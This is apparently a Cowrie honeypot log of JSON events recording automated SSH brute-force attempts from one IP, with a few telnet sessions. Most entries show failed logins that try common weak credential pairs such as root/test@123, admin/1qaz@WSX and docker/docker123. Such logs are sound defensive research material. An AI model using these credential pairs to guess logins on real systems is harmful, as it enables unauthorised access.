{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:33.283241Z","src_ip":"45.156.87.254","session":"00538f93cee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":50780,"dst_ip":"159.203.135.109","dst_port":22,"session":"d161374cf8e3","protocol":"ssh","message":"New connection: 45.156.87.254:50780 (159.203.135.109:22) [session: d161374cf8e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:36.767472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:36.773222Z","src_ip":"45.156.87.254","session":"d161374cf8e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:36.857885Z","src_ip":"45.156.87.254","session":"d161374cf8e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:37.109830Z","src_ip":"45.156.87.254","session":"d161374cf8e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:38.378468Z","src_ip":"45.156.87.254","session":"d161374cf8e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34224,"dst_ip":"159.203.135.109","dst_port":22,"session":"bae80e0e4974","protocol":"ssh","message":"New connection: 45.156.87.254:34224 (159.203.135.109:22) [session: bae80e0e4974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:42.111056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:42.116560Z","src_ip":"45.156.87.254","session":"bae80e0e4974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:42.207017Z","src_ip":"45.156.87.254","session":"bae80e0e4974","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:42.468568Z","src_ip":"45.156.87.254","session":"bae80e0e4974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.72746133804321,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:43.075416Z","src_ip":"20.123.41.163","session":"4df9f9e74711","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:43.580050Z","src_ip":"45.156.87.254","session":"bae80e0e4974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34234,"dst_ip":"159.203.135.109","dst_port":22,"session":"cee025bf32c8","protocol":"ssh","message":"New connection: 45.156.87.254:34234 (159.203.135.109:22) [session: cee025bf32c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:47.416653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:47.422349Z","src_ip":"45.156.87.254","session":"cee025bf32c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:47.505815Z","src_ip":"45.156.87.254","session":"cee025bf32c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:47.786023Z","src_ip":"45.156.87.254","session":"cee025bf32c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:48.873664Z","src_ip":"45.156.87.254","session":"cee025bf32c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":33426,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1484f33418f","protocol":"ssh","message":"New connection: 45.156.87.254:33426 (159.203.135.109:22) [session: b1484f33418f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:53.014026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:53.023765Z","src_ip":"45.156.87.254","session":"b1484f33418f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:53.245772Z","src_ip":"45.156.87.254","session":"b1484f33418f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:53.512632Z","src_ip":"45.156.87.254","session":"b1484f33418f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:54.606179Z","src_ip":"45.156.87.254","session":"b1484f33418f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.45134139060974,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:56.567420Z","src_ip":"20.123.41.163","session":"11d0c59e2ce4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46490,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b539fad9f2a","protocol":"ssh","message":"New connection: 45.156.87.254:46490 (159.203.135.109:22) [session: 5b539fad9f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:58.678733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:58.683960Z","src_ip":"45.156.87.254","session":"5b539fad9f2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:58.768207Z","src_ip":"45.156.87.254","session":"5b539fad9f2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:59.022701Z","src_ip":"45.156.87.254","session":"5b539fad9f2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:00.136914Z","src_ip":"45.156.87.254","session":"5b539fad9f2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.252.179","src_port":44114,"dst_ip":"10.17.0.5","dst_port":23,"session":"66b828b35db9","protocol":"telnet","message":"New connection: 185.145.252.179:44114 (10.17.0.5:23) [session: 66b828b35db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:01.344376Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46504,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c0cc59e61da","protocol":"ssh","message":"New connection: 45.156.87.254:46504 (159.203.135.109:22) [session: 7c0cc59e61da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:04.068071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:04.074287Z","src_ip":"45.156.87.254","session":"7c0cc59e61da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:04.160224Z","src_ip":"45.156.87.254","session":"7c0cc59e61da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:04.417886Z","src_ip":"45.156.87.254","session":"7c0cc59e61da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:05.643962Z","src_ip":"45.156.87.254","session":"7c0cc59e61da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34050,"dst_ip":"159.203.135.109","dst_port":22,"session":"064fc7e2bcb5","protocol":"ssh","message":"New connection: 45.156.87.254:34050 (159.203.135.109:22) [session: 064fc7e2bcb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:09.774506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:09.782497Z","src_ip":"45.156.87.254","session":"064fc7e2bcb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:09.865015Z","src_ip":"45.156.87.254","session":"064fc7e2bcb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:10.274017Z","src_ip":"45.156.87.254","session":"064fc7e2bcb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:11.362875Z","src_ip":"45.156.87.254","session":"064fc7e2bcb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.34771943092346,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:12.779969Z","src_ip":"20.123.41.163","session":"b56935f431ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34058,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e208f7af3ff","protocol":"ssh","message":"New connection: 45.156.87.254:34058 (159.203.135.109:22) [session: 5e208f7af3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:15.308942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:15.393510Z","src_ip":"45.156.87.254","session":"5e208f7af3ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:15.430341Z","src_ip":"45.156.87.254","session":"5e208f7af3ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:15.728799Z","src_ip":"45.156.87.254","session":"5e208f7af3ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:16.818103Z","src_ip":"45.156.87.254","session":"5e208f7af3ff","protocol":"ssh"}
